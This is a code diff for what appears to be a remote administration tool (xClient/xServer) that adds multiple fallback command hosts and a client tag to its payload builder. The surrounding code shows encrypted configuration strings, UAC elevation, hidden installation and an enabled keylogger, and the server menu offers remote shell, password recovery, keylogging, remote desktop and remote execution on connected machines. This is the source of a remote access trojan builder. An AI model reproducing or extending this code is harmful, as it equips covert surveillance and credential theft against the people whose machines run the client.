Improved Client Builder

closes #282

Client/Client.csproj

@@ -52,6 +52,7 @@
   <ItemGroup>
     <Compile Include="Core\Helper\FileHelper.cs" />
     <Compile Include="Core\Helper\FormatHelper.cs" />
+    <Compile Include="Core\Helper\HostHelper.cs" />
     <Compile Include="Core\Helper\NativeMethodsHelper.cs" />
     <Compile Include="Core\Helper\PlatformHelper.cs" />
     <Compile Include="Core\Helper\ScreenHelper.cs" />
@@ -79,6 +80,8 @@
     <Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
     <Compile Include="Core\Packets\ServerPackets\GetPasswords.cs" />
     <Compile Include="Core\Utilities\FileSplit.cs" />
+    <Compile Include="Core\Utilities\Host.cs" />
+    <Compile Include="Core\Utilities\HostsManager.cs" />
     <Compile Include="Core\Utilities\NativeMethods.cs" />
     <Compile Include="Core\Utilities\UnsafeStreamCodec.cs" />
     <Compile Include="Core\Compression\JpgCompression.cs" />

Client/Config/Settings.cs

@@ -10,8 +10,7 @@ namespace xClient.Config
     {
 #if DEBUG
         public static string VERSION = "1.0.0.0d";
-        public static string HOST = "localhost";
+        public static string HOSTS = "localhost:4782;";
-        public static ushort PORT = 4782;
         public static int RECONNECTDELAY = 500;
         public static string PASSWORD = "1234";
         public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
@@ -24,14 +23,14 @@ namespace xClient.Config
         public static bool HIDEFILE = false;
         public static bool ENABLEUACESCALATION = false;
         public static bool ENABLELOGGER = true;
+        public static string TAG = "DEBUG";
 
         public static void Initialize()
         {
         }
 #else
         public static string VERSION = "1.0.0.0r";
-        public static string HOST = "localhost";
+        public static string HOSTS = "localhost:4782;";
-        public static ushort PORT = 4782;
         public static int RECONNECTDELAY = 5000;
         public static string PASSWORD = "1234";
         public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
@@ -45,12 +44,14 @@ namespace xClient.Config
         public static bool ENABLEUACESCALATION = true;
         public static bool ENABLELOGGER = true;
         public static string ENCRYPTIONKEY = "ENCKEY";
+        public static string TAG = "RELEASE";
 
         public static void Initialize()
         {
             AES.PreHashKey(ENCRYPTIONKEY);
+            TAG = AES.Decrypt(TAG);
             VERSION = AES.Decrypt(VERSION);
-            HOST = AES.Decrypt(HOST);
+            HOSTS = AES.Decrypt(HOSTS);
             PASSWORD = AES.Decrypt(PASSWORD);
             SUBFOLDER = AES.Decrypt(SUBFOLDER);
             INSTALLNAME = AES.Decrypt(INSTALLNAME);

Client/Core/Commands/ConnectionHandler.cs

@@ -18,7 +18,7 @@ namespace xClient.Core.Commands
             GeoLocationHelper.Initialize();
             new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
                 GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex,
-                SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client);
+                SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName(), Settings.TAG).Execute(client);
         }
 
         public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client)

Client/Core/Helper/HostHelper.cs

@@ -0,0 +1,40 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xClient.Core.Utilities;
+
+namespace xClient.Core.Helper
+{
+    public static class HostHelper
+    {
+        public static List<Host> GetHostsList(string rawHosts)
+        {
+            List<Host> hostsList = new List<Host>();
+
+            var hosts = rawHosts.Split(';');
+
+            foreach (var hostPart in from host in hosts where !string.IsNullOrEmpty(host) select host.Split(':'))
+            {
+                if (hostPart.Length != 2 || hostPart[0].Length < 1 || hostPart[1].Length < 1) throw new Exception("Invalid host");
+
+                ushort port;
+                if (!ushort.TryParse(hostPart[1], out port)) throw new Exception("Invalid host");
+
+                hostsList.Add(new Host { Hostname = hostPart[0], Port = port });
+            }
+
+            return hostsList;
+        }
+
+        public static string GetRawHosts(List<Host> hosts)
+        {
+            StringBuilder rawHosts = new StringBuilder();
+
+            foreach (var host in hosts)
+                rawHosts.Append(host + ";");
+
+            return rawHosts.ToString();
+        }
+    }
+}

Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs

@@ -39,12 +39,15 @@ namespace xClient.Core.Packets.ClientPackets
         [ProtoMember(11)]
         public string PCName { get; set; }
 
+        [ProtoMember(12)]
+        public string Tag { get; set; }
+
         public GetAuthenticationResponse()
         {
         }
 
         public GetAuthenticationResponse(string version, string operatingsystem, string accounttype, string country, string countrycode,
-            string region, string city, int imageindex, string id, string username, string pcname)
+            string region, string city, int imageindex, string id, string username, string pcname, string tag)
         {
             Version = version;
             OperatingSystem = operatingsystem;
@@ -57,6 +60,7 @@ namespace xClient.Core.Packets.ClientPackets
             Id = id;
             Username = username;
             PCName = pcname;
+            Tag = tag;
         }
 
         public void Execute(Client client)

Client/Core/Utilities/Host.cs

@@ -0,0 +1,13 @@
+namespace xClient.Core.Utilities
+{
+    public class Host
+    {
+        public string Hostname { get; set; } // Can be IP or Hostname
+        public ushort Port { get; set; }
+
+        public override string ToString()
+        {
+            return Hostname + ":" + Port;
+        }
+    }
+}

Client/Core/Utilities/HostsManager.cs

@@ -0,0 +1,23 @@
+using System.Collections.Generic;
+
+namespace xClient.Core.Utilities
+{
+    public class HostsManager
+    {
+        private readonly Queue<Host> _hosts = new Queue<Host>();
+
+        public HostsManager(List<Host> hosts)
+        {
+            foreach(var host in hosts)
+                _hosts.Enqueue(host);
+        }
+
+        public Host GetNextHost()
+        {
+            var temp = _hosts.Dequeue();
+            _hosts.Enqueue(temp); // add to the end of the queue
+
+            return temp;
+        }
+    }
+}

Client/Program.cs

@@ -21,6 +21,7 @@ namespace xClient
         private static volatile bool _connected = false;
         private static Mutex _appMutex;
         private static ApplicationContext _msgLoop;
+        private static HostsManager _hosts;
 
         [STAThread]
         private static void Main(string[] args)
@@ -116,6 +117,7 @@ namespace xClient
             Thread.Sleep(2000);
 
             AES.PreHashKey(Settings.PASSWORD);
+            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
             SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
             SystemCore.MyPath = Application.ExecutablePath;
             SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
@@ -178,7 +180,9 @@ namespace xClient
                 {
                     Thread.Sleep(100 + new Random().Next(0, 250));
 
-                    ConnectClient.Connect(Settings.HOST, Settings.PORT);
+                    Host host = _hosts.GetNextHost();
+
+                    ConnectClient.Connect(host.Hostname, host.Port);
 
                     Thread.Sleep(200);
 

Server/Controls/Line.cs

@@ -0,0 +1,28 @@
+using System.Drawing;
+using System.Windows.Forms;
+
+namespace xServer.Controls
+{
+    public class Line : Control
+    {
+        public enum Alignment
+        {
+            Horizontal,
+            Vertical
+        }
+
+        public Alignment LineAlignment { get; set; }
+
+        public Line()
+        {
+            this.TabStop = false;
+        }
+
+        protected override void OnPaint(PaintEventArgs e)
+        {
+            base.OnPaint(e);
+            e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5),
+                LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500));
+        }
+    }
+}

Server/Core/Build/ClientBuilder.cs

@@ -17,7 +17,8 @@ namespace xServer.Core.Build
         /// Builds a client executable. Assumes that the binaries for the client exist.
         /// </summary>
         /// <param name="output">The name of the final file.</param>
-        /// <param name="host">The URI location of the host.</param>
+        /// <param name="tag">The tag to identify the client.</param>
+        /// <param name="host">The raw host list.</param>
         /// <param name="password">The password that is used to connect to the website.</param>
         /// <param name="installsub">The sub-folder to install the client.</param>
         /// <param name="installname">Name of the installed executable.</param>
@@ -27,7 +28,6 @@ namespace xServer.Core.Build
         /// <param name="startup">Determines whether to add the program to startup.</param>
         /// <param name="hidefile">Determines whether to hide the file.</param>
         /// <param name="keylogger">Determines if keylogging functionality should be activated.</param>
-        /// <param name="port">The port the client will use to connect to the server.</param>
         /// <param name="reconnectdelay">The amount the client will wait until attempting to reconnect.</param>
         /// <param name="installpath">The installation path of the client.</param>
         /// <param name="adminelevation">Determines whether the client should (attempt) to obtain administrator privileges.</param>
@@ -37,8 +37,8 @@ namespace xServer.Core.Build
         /// <exception cref="System.Exception">Thrown if the builder was unable to rename the client executable.</exception>
         /// <exception cref="System.ArgumentException">Thrown if an invalid special folder was specified.</exception>
         /// <exception cref="System.IO.FileLoadException">Thrown if the client binaries do not exist.</exception>
-        public static void Build(string output, string host, string password, string installsub, string installname,
+        public static void Build(string output, string tag, string host, string password, string installsub, string installname,
-            string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger, int port,
+            string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger,
             int reconnectdelay,
             int installpath, bool adminelevation, string iconpath, string[] asminfo, string version)
         {
@@ -91,9 +91,12 @@ namespace xServer.Core.Build
                                         case 7: //startupkey
                                             methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
                                             break;
-                                        case 8: //random encryption key
+                                        case 8: //encryption key
                                             methodDef.Body.Instructions[i].Operand = encKey;
                                             break;
+                                        case 9: //tag
+                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(tag, encKey);
+                                            break;
                                     }
                                     strings++;
                                 }
@@ -123,16 +126,8 @@ namespace xServer.Core.Build
                                 }
                                 else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                 {
-                                    switch (ints)
+                                    //reconnectdelay
-                                    {
+                                    methodDef.Body.Instructions[i].Operand = reconnectdelay;
-                                        case 1: //port
-                                            methodDef.Body.Instructions[i].Operand = port;
-                                            break;
-                                        case 2: //reconnectdelay
-                                            methodDef.Body.Instructions[i].Operand = reconnectdelay;
-                                            break;
-                                    }
-                                    ints++;
                                 }
                                 else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                 {

Server/Core/Commands/ConnectionHandler.cs

@@ -28,6 +28,7 @@ namespace xServer.Core.Commands
                 client.Value.Id = packet.Id;
                 client.Value.Username = packet.Username;
                 client.Value.PCName = packet.PCName;
+                client.Value.Tag = packet.Tag;
 
                 string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName);
 
@@ -42,7 +43,7 @@ namespace xServer.Core.Commands
                 // this " " leaves some space between the flag-icon and first item
                 ListViewItem lvi = new ListViewItem(new string[]
                 {
-                    " " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(),
+                    " " + client.EndPoint.Address, client.Value.Tag,
                     userAtPc, client.Value.Version, "Connected", "Active", country,
                     client.Value.OperatingSystem, client.Value.AccountType
                 }) { Tag = client, ImageIndex = packet.ImageIndex };

Server/Core/Helper/HostHelper.cs

@@ -0,0 +1,40 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xServer.Core.Utilities;
+
+namespace xServer.Core.Helper
+{
+    public static class HostHelper
+    {
+        public static List<Host> GetHostsList(string rawHosts)
+        {
+            List<Host> hostsList = new List<Host>();
+
+            var hosts = rawHosts.Split(';');
+
+            foreach (var hostPart in from host in hosts where !string.IsNullOrEmpty(host) select host.Split(':'))
+            {
+                if (hostPart.Length != 2 || hostPart[0].Length < 1 || hostPart[1].Length < 1) throw new Exception("Invalid host");
+
+                ushort port;
+                if (!ushort.TryParse(hostPart[1], out port)) throw new Exception("Invalid host");
+
+                hostsList.Add(new Host {Hostname = hostPart[0], Port = port});
+            }
+
+            return hostsList;
+        }
+
+        public static string GetRawHosts(List<Host> hosts)
+        {
+            StringBuilder rawHosts = new StringBuilder();
+
+            foreach (var host in hosts)
+                rawHosts.Append(host + ";");
+
+            return rawHosts.ToString();
+        }
+    }
+}

Server/Core/Networking/UserState.cs

@@ -18,6 +18,7 @@ namespace xServer.Core.Networking
         public string Id { get; set; }
         public string Username { get; set; }
         public string PCName { get; set; }
+        public string Tag { get; set; }
         public string DownloadDirectory { get; set; }
 
         public FrmRemoteDesktop FrmRdp { get; set; }

Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs

@@ -39,12 +39,15 @@ namespace xServer.Core.Packets.ClientPackets
         [ProtoMember(11)]
         public string PCName { get; set; }
 
+        [ProtoMember(12)]
+        public string Tag { get; set; }
+
         public GetAuthenticationResponse()
         {
         }
 
         public GetAuthenticationResponse(string version, string operatingsystem, string accounttype, string country, string countrycode,
-            string region, string city, int imageindex, string id, string username, string pcname)
+            string region, string city, int imageindex, string id, string username, string pcname, string tag)
         {
             Version = version;
             OperatingSystem = operatingsystem;
@@ -57,6 +60,7 @@ namespace xServer.Core.Packets.ClientPackets
             Id = id;
             Username = username;
             PCName = pcname;
+            Tag = tag;
         }
 
         public void Execute(Client client)

Server/Core/Utilities/Host.cs

@@ -0,0 +1,13 @@
+namespace xServer.Core.Utilities
+{
+    public class Host
+    {
+        public string Hostname { get; set; } // Can be IP or Hostname
+        public ushort Port { get; set; }
+
+        public override string ToString()
+        {
+            return Hostname + ":" + Port;
+        }
+    }
+}

Server/Forms/FrmBuilder.cs

@@ -1,9 +1,12 @@
 using System;
+using System.Collections.Generic;
 using System.IO;
+using System.Linq;
 using System.Text.RegularExpressions;
 using System.Windows.Forms;
 using xServer.Core.Build;
 using xServer.Core.Helper;
+using xServer.Core.Utilities;
 using xServer.Settings;
 
 namespace xServer.Forms
@@ -12,6 +15,7 @@ namespace xServer.Forms
     {
         private bool _profileLoaded;
         private bool _changed;
+        private List<Host> _hosts = new List<Host>();
 
         public FrmBuilder()
         {
@@ -39,8 +43,9 @@ namespace xServer.Forms
         private void LoadProfile(string profilename)
         {
             ProfileManager pm = new ProfileManager(profilename + ".xml");
-            txtHost.Text = pm.ReadValue("Hostname");
+            var rawHosts = pm.ReadValueSafe("Hosts");
-            txtPort.Text = pm.ReadValue("ListenPort");
+            _hosts.AddRange(HostHelper.GetHostsList(rawHosts));
+            lstHosts.DataSource = new BindingSource(_hosts, null);
             txtPassword.Text = pm.ReadValue("Password");
             txtDelay.Text = pm.ReadValue("Delay");
             txtMutex.Text = pm.ReadValue("Mutex");
@@ -69,8 +74,7 @@ namespace xServer.Forms
         private void SaveProfile(string profilename)
         {
             ProfileManager pm = new ProfileManager(profilename + ".xml");
-            pm.WriteValue("Hostname", txtHost.Text);
+            pm.WriteValue("Hosts", HostHelper.GetRawHosts(_hosts));
-            pm.WriteValue("ListenPort", txtPort.Text);
             pm.WriteValue("Password", txtPassword.Text);
             pm.WriteValue("Delay", txtDelay.Text);
             pm.WriteValue("Mutex", txtMutex.Text);
@@ -122,6 +126,49 @@ namespace xServer.Forms
             }
         }
 
+        private void btnAddHost_Click(object sender, EventArgs e)
+        {
+            if (txtHost.Text.Length < 1 || txtPort.Text.Length < 1) return;
+
+            HasChanged();
+
+            var host = txtHost.Text;
+            ushort port;
+            if (!ushort.TryParse(txtPort.Text, out port))
+            {
+                MessageBox.Show("Please enter a valid port.", "Builder",
+                    MessageBoxButtons.OK, MessageBoxIcon.Information);
+                return;
+            }
+
+            _hosts.Add(new Host {Hostname = host, Port = port});
+            lstHosts.DataSource = new BindingSource(_hosts, null);
+
+            txtHost.Text = "";
+            txtPort.Text = "";
+        }
+
+        private void ctxtRemove_Click(object sender, EventArgs e)
+        {
+            HasChanged();
+
+            List<string> selected = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList();
+
+            foreach (var item in selected)
+            {
+                foreach (var host in _hosts)
+                {
+                    if (item == host.ToString())
+                    {
+                        _hosts.Remove(host);
+                        break;
+                    }
+                }
+            }
+
+            lstHosts.DataSource = new BindingSource(_hosts, null);
+        }
+
         private void chkShowPass_CheckedChanged(object sender, EventArgs e)
         {
             txtPassword.PasswordChar = (chkShowPass.Checked) ? '\0' : '•';
@@ -201,7 +248,7 @@ namespace xServer.Forms
 
         private void btnBuild_Click(object sender, EventArgs e)
         {
-            if (!string.IsNullOrEmpty(txtHost.Text) && !string.IsNullOrEmpty(txtPort.Text) &&
+            if (lstHosts.Items.Count > 0 &&
                 !string.IsNullOrEmpty(txtDelay.Text) && // Connection Information
                 !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // Client Options
                 !chkInstall.Checked ||
@@ -259,9 +306,9 @@ namespace xServer.Forms
                             asmInfo[7] = txtFileVersion.Text;
                         }
 
-                        ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text,
+                        ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text,
                             txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked,
-                            chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtPort.Text),
+                            chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked,
                             int.Parse(txtDelay.Text),
                             GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);
 

Server/Forms/FrmBuilder.resx

@@ -120,6 +120,9 @@
   <metadata name="tooltip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
     <value>17, 17</value>
   </metadata>
+  <metadata name="ctxtMenuHosts.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+    <value>105, 17</value>
+  </metadata>
   <assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
   <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
     <value>

Server/Forms/FrmMain.Designer.cs

@@ -67,7 +67,7 @@ namespace xServer.Forms
             this.nIcon = new System.Windows.Forms.NotifyIcon(this.components);
             this.lstClients = new xServer.Controls.AeroListView();
             this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
-            this.hSocket = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+            this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.hVersion = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@@ -94,7 +94,7 @@ namespace xServer.Forms
             this.ctxtSurveillance,
             this.ctxtMiscellaneous});
             this.ctxtMenu.Name = "ctxtMenu";
-            this.ctxtMenu.Size = new System.Drawing.Size(153, 114);
+            this.ctxtMenu.Size = new System.Drawing.Size(150, 92);
             // 
             // ctxtConnection
             // 
@@ -105,14 +105,14 @@ namespace xServer.Forms
             this.ctxtUninstall});
             this.ctxtConnection.Image = ((System.Drawing.Image)(resources.GetObject("ctxtConnection.Image")));
             this.ctxtConnection.Name = "ctxtConnection";
-            this.ctxtConnection.Size = new System.Drawing.Size(152, 22);
+            this.ctxtConnection.Size = new System.Drawing.Size(149, 22);
             this.ctxtConnection.Text = "Connection";
             // 
             // ctxtUpdate
             // 
             this.ctxtUpdate.Image = ((System.Drawing.Image)(resources.GetObject("ctxtUpdate.Image")));
             this.ctxtUpdate.Name = "ctxtUpdate";
-            this.ctxtUpdate.Size = new System.Drawing.Size(131, 22);
+            this.ctxtUpdate.Size = new System.Drawing.Size(133, 22);
             this.ctxtUpdate.Text = "Update";
             this.ctxtUpdate.Click += new System.EventHandler(this.ctxtUpdate_Click);
             // 
@@ -120,7 +120,7 @@ namespace xServer.Forms
             // 
             this.ctxtReconnect.Image = ((System.Drawing.Image)(resources.GetObject("ctxtReconnect.Image")));
             this.ctxtReconnect.Name = "ctxtReconnect";
-            this.ctxtReconnect.Size = new System.Drawing.Size(131, 22);
+            this.ctxtReconnect.Size = new System.Drawing.Size(133, 22);
             this.ctxtReconnect.Text = "Reconnect";
             this.ctxtReconnect.Click += new System.EventHandler(this.ctxtReconnect_Click);
             // 
@@ -128,7 +128,7 @@ namespace xServer.Forms
             // 
             this.ctxtDisconnect.Image = ((System.Drawing.Image)(resources.GetObject("ctxtDisconnect.Image")));
             this.ctxtDisconnect.Name = "ctxtDisconnect";
-            this.ctxtDisconnect.Size = new System.Drawing.Size(131, 22);
+            this.ctxtDisconnect.Size = new System.Drawing.Size(133, 22);
             this.ctxtDisconnect.Text = "Disconnect";
             this.ctxtDisconnect.Click += new System.EventHandler(this.ctxtDisconnect_Click);
             // 
@@ -136,7 +136,7 @@ namespace xServer.Forms
             // 
             this.ctxtUninstall.Image = ((System.Drawing.Image)(resources.GetObject("ctxtUninstall.Image")));
             this.ctxtUninstall.Name = "ctxtUninstall";
-            this.ctxtUninstall.Size = new System.Drawing.Size(131, 22);
+            this.ctxtUninstall.Size = new System.Drawing.Size(133, 22);
             this.ctxtUninstall.Text = "Uninstall";
             this.ctxtUninstall.Click += new System.EventHandler(this.ctxtUninstall_Click);
             // 
@@ -154,14 +154,14 @@ namespace xServer.Forms
             this.ctxtActions});
             this.ctxtSystem.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystem.Image")));
             this.ctxtSystem.Name = "ctxtSystem";
-            this.ctxtSystem.Size = new System.Drawing.Size(152, 22);
+            this.ctxtSystem.Size = new System.Drawing.Size(149, 22);
             this.ctxtSystem.Text = "System";
             // 
             // ctxtSystemInformation
             // 
             this.ctxtSystemInformation.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystemInformation.Image")));
             this.ctxtSystemInformation.Name = "ctxtSystemInformation";
-            this.ctxtSystemInformation.Size = new System.Drawing.Size(173, 22);
+            this.ctxtSystemInformation.Size = new System.Drawing.Size(178, 22);
             this.ctxtSystemInformation.Text = "System Information";
             this.ctxtSystemInformation.Click += new System.EventHandler(this.ctxtSystemInformation_Click);
             // 
@@ -169,7 +169,7 @@ namespace xServer.Forms
             // 
             this.ctxtFileManager.Image = ((System.Drawing.Image)(resources.GetObject("ctxtFileManager.Image")));
             this.ctxtFileManager.Name = "ctxtFileManager";
-            this.ctxtFileManager.Size = new System.Drawing.Size(173, 22);
+            this.ctxtFileManager.Size = new System.Drawing.Size(178, 22);
             this.ctxtFileManager.Text = "File Manager";
             this.ctxtFileManager.Click += new System.EventHandler(this.ctxtFileManager_Click);
             // 
@@ -177,7 +177,7 @@ namespace xServer.Forms
             // 
             this.ctxtStartupManager.Image = global::xServer.Properties.Resources.startup_programs;
             this.ctxtStartupManager.Name = "ctxtStartupManager";
-            this.ctxtStartupManager.Size = new System.Drawing.Size(173, 22);
+            this.ctxtStartupManager.Size = new System.Drawing.Size(178, 22);
             this.ctxtStartupManager.Text = "Startup Manager";
             this.ctxtStartupManager.Click += new System.EventHandler(this.ctxtStartupManager_Click);
             // 
@@ -185,7 +185,7 @@ namespace xServer.Forms
             // 
             this.ctxtTaskManager.Image = ((System.Drawing.Image)(resources.GetObject("ctxtTaskManager.Image")));
             this.ctxtTaskManager.Name = "ctxtTaskManager";
-            this.ctxtTaskManager.Size = new System.Drawing.Size(173, 22);
+            this.ctxtTaskManager.Size = new System.Drawing.Size(178, 22);
             this.ctxtTaskManager.Text = "Task Manager";
             this.ctxtTaskManager.Click += new System.EventHandler(this.ctxtTaskManager_Click);
             // 
@@ -193,7 +193,7 @@ namespace xServer.Forms
             // 
             this.ctxtRemoteShell.Image = ((System.Drawing.Image)(resources.GetObject("ctxtRemoteShell.Image")));
             this.ctxtRemoteShell.Name = "ctxtRemoteShell";
-            this.ctxtRemoteShell.Size = new System.Drawing.Size(173, 22);
+            this.ctxtRemoteShell.Size = new System.Drawing.Size(178, 22);
             this.ctxtRemoteShell.Text = "Remote Shell";
             this.ctxtRemoteShell.Click += new System.EventHandler(this.ctxtRemoteShell_Click);
             // 
@@ -201,7 +201,7 @@ namespace xServer.Forms
             // 
             this.ctxtReverseProxy.Image = global::xServer.Properties.Resources.server_link;
             this.ctxtReverseProxy.Name = "ctxtReverseProxy";
-            this.ctxtReverseProxy.Size = new System.Drawing.Size(173, 22);
+            this.ctxtReverseProxy.Size = new System.Drawing.Size(178, 22);
             this.ctxtReverseProxy.Text = "Reverse Proxy";
             this.ctxtReverseProxy.Click += new System.EventHandler(this.ctxtReverseProxy_Click);
             // 
@@ -210,14 +210,14 @@ namespace xServer.Forms
             this.ctxtRegistryEditor.Enabled = false;
             this.ctxtRegistryEditor.Image = global::xServer.Properties.Resources.registry;
             this.ctxtRegistryEditor.Name = "ctxtRegistryEditor";
-            this.ctxtRegistryEditor.Size = new System.Drawing.Size(173, 22);
+            this.ctxtRegistryEditor.Size = new System.Drawing.Size(178, 22);
             this.ctxtRegistryEditor.Text = "Registry Editor";
             this.ctxtRegistryEditor.Click += new System.EventHandler(this.ctxtRegistryEditor_Click);
             // 
             // ctxtLine
             // 
             this.ctxtLine.Name = "ctxtLine";
-            this.ctxtLine.Size = new System.Drawing.Size(170, 6);
+            this.ctxtLine.Size = new System.Drawing.Size(175, 6);
             // 
             // ctxtActions
             // 
@@ -227,7 +227,7 @@ namespace xServer.Forms
             this.ctxtStandby});
             this.ctxtActions.Image = global::xServer.Properties.Resources.actions;
             this.ctxtActions.Name = "ctxtActions";
-            this.ctxtActions.Size = new System.Drawing.Size(173, 22);
+            this.ctxtActions.Size = new System.Drawing.Size(178, 22);
             this.ctxtActions.Text = "Actions";
             // 
             // ctxtShutdown
@@ -262,14 +262,14 @@ namespace xServer.Forms
             this.ctxtKeylogger});
             this.ctxtSurveillance.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSurveillance.Image")));
             this.ctxtSurveillance.Name = "ctxtSurveillance";
-            this.ctxtSurveillance.Size = new System.Drawing.Size(152, 22);
+            this.ctxtSurveillance.Size = new System.Drawing.Size(149, 22);
             this.ctxtSurveillance.Text = "Surveillance";
             // 
             // ctxtRemoteDesktop
             // 
             this.ctxtRemoteDesktop.Image = ((System.Drawing.Image)(resources.GetObject("ctxtRemoteDesktop.Image")));
             this.ctxtRemoteDesktop.Name = "ctxtRemoteDesktop";
-            this.ctxtRemoteDesktop.Size = new System.Drawing.Size(171, 22);
+            this.ctxtRemoteDesktop.Size = new System.Drawing.Size(175, 22);
             this.ctxtRemoteDesktop.Text = "Remote Desktop";
             this.ctxtRemoteDesktop.Click += new System.EventHandler(this.ctxtRemoteDesktop_Click);
             // 
@@ -277,7 +277,7 @@ namespace xServer.Forms
             // 
             this.ctxtPasswordRecovery.Image = ((System.Drawing.Image)(resources.GetObject("ctxtPasswordRecovery.Image")));
             this.ctxtPasswordRecovery.Name = "ctxtPasswordRecovery";
-            this.ctxtPasswordRecovery.Size = new System.Drawing.Size(171, 22);
+            this.ctxtPasswordRecovery.Size = new System.Drawing.Size(175, 22);
             this.ctxtPasswordRecovery.Text = "Password Recovery";
             this.ctxtPasswordRecovery.Click += new System.EventHandler(this.ctxtPasswordRecovery_Click);
             // 
@@ -285,7 +285,7 @@ namespace xServer.Forms
             // 
             this.ctxtKeylogger.Image = global::xServer.Properties.Resources.logger;
             this.ctxtKeylogger.Name = "ctxtKeylogger";
-            this.ctxtKeylogger.Size = new System.Drawing.Size(171, 22);
+            this.ctxtKeylogger.Size = new System.Drawing.Size(175, 22);
             this.ctxtKeylogger.Text = "Keylogger";
             this.ctxtKeylogger.Click += new System.EventHandler(this.ctxtKeylogger_Click);
             // 
@@ -297,7 +297,7 @@ namespace xServer.Forms
             this.ctxtShowMessagebox});
             this.ctxtMiscellaneous.Image = ((System.Drawing.Image)(resources.GetObject("ctxtMiscellaneous.Image")));
             this.ctxtMiscellaneous.Name = "ctxtMiscellaneous";
-            this.ctxtMiscellaneous.Size = new System.Drawing.Size(152, 22);
+            this.ctxtMiscellaneous.Size = new System.Drawing.Size(149, 22);
             this.ctxtMiscellaneous.Text = "Miscellaneous";
             // 
             // ctxtRemoteExecute
@@ -307,14 +307,14 @@ namespace xServer.Forms
             this.ctxtWebFile});
             this.ctxtRemoteExecute.Image = global::xServer.Properties.Resources.lightning;
             this.ctxtRemoteExecute.Name = "ctxtRemoteExecute";
-            this.ctxtRemoteExecute.Size = new System.Drawing.Size(170, 22);
+            this.ctxtRemoteExecute.Size = new System.Drawing.Size(171, 22);
             this.ctxtRemoteExecute.Text = "Remote Execute";
             // 
             // ctxtLocalFile
             // 
             this.ctxtLocalFile.Image = global::xServer.Properties.Resources.drive_go;
             this.ctxtLocalFile.Name = "ctxtLocalFile";
-            this.ctxtLocalFile.Size = new System.Drawing.Size(130, 22);
+            this.ctxtLocalFile.Size = new System.Drawing.Size(132, 22);
             this.ctxtLocalFile.Text = "Local File...";
             this.ctxtLocalFile.Click += new System.EventHandler(this.ctxtLocalFile_Click);
             // 
@@ -322,7 +322,7 @@ namespace xServer.Forms
             // 
             this.ctxtWebFile.Image = global::xServer.Properties.Resources.world_go;
             this.ctxtWebFile.Name = "ctxtWebFile";
-            this.ctxtWebFile.Size = new System.Drawing.Size(130, 22);
+            this.ctxtWebFile.Size = new System.Drawing.Size(132, 22);
             this.ctxtWebFile.Text = "Web File...";
             this.ctxtWebFile.Click += new System.EventHandler(this.ctxtWebFile_Click);
             // 
@@ -330,7 +330,7 @@ namespace xServer.Forms
             // 
             this.ctxtVisitWebsite.Image = ((System.Drawing.Image)(resources.GetObject("ctxtVisitWebsite.Image")));
             this.ctxtVisitWebsite.Name = "ctxtVisitWebsite";
-            this.ctxtVisitWebsite.Size = new System.Drawing.Size(170, 22);
+            this.ctxtVisitWebsite.Size = new System.Drawing.Size(171, 22);
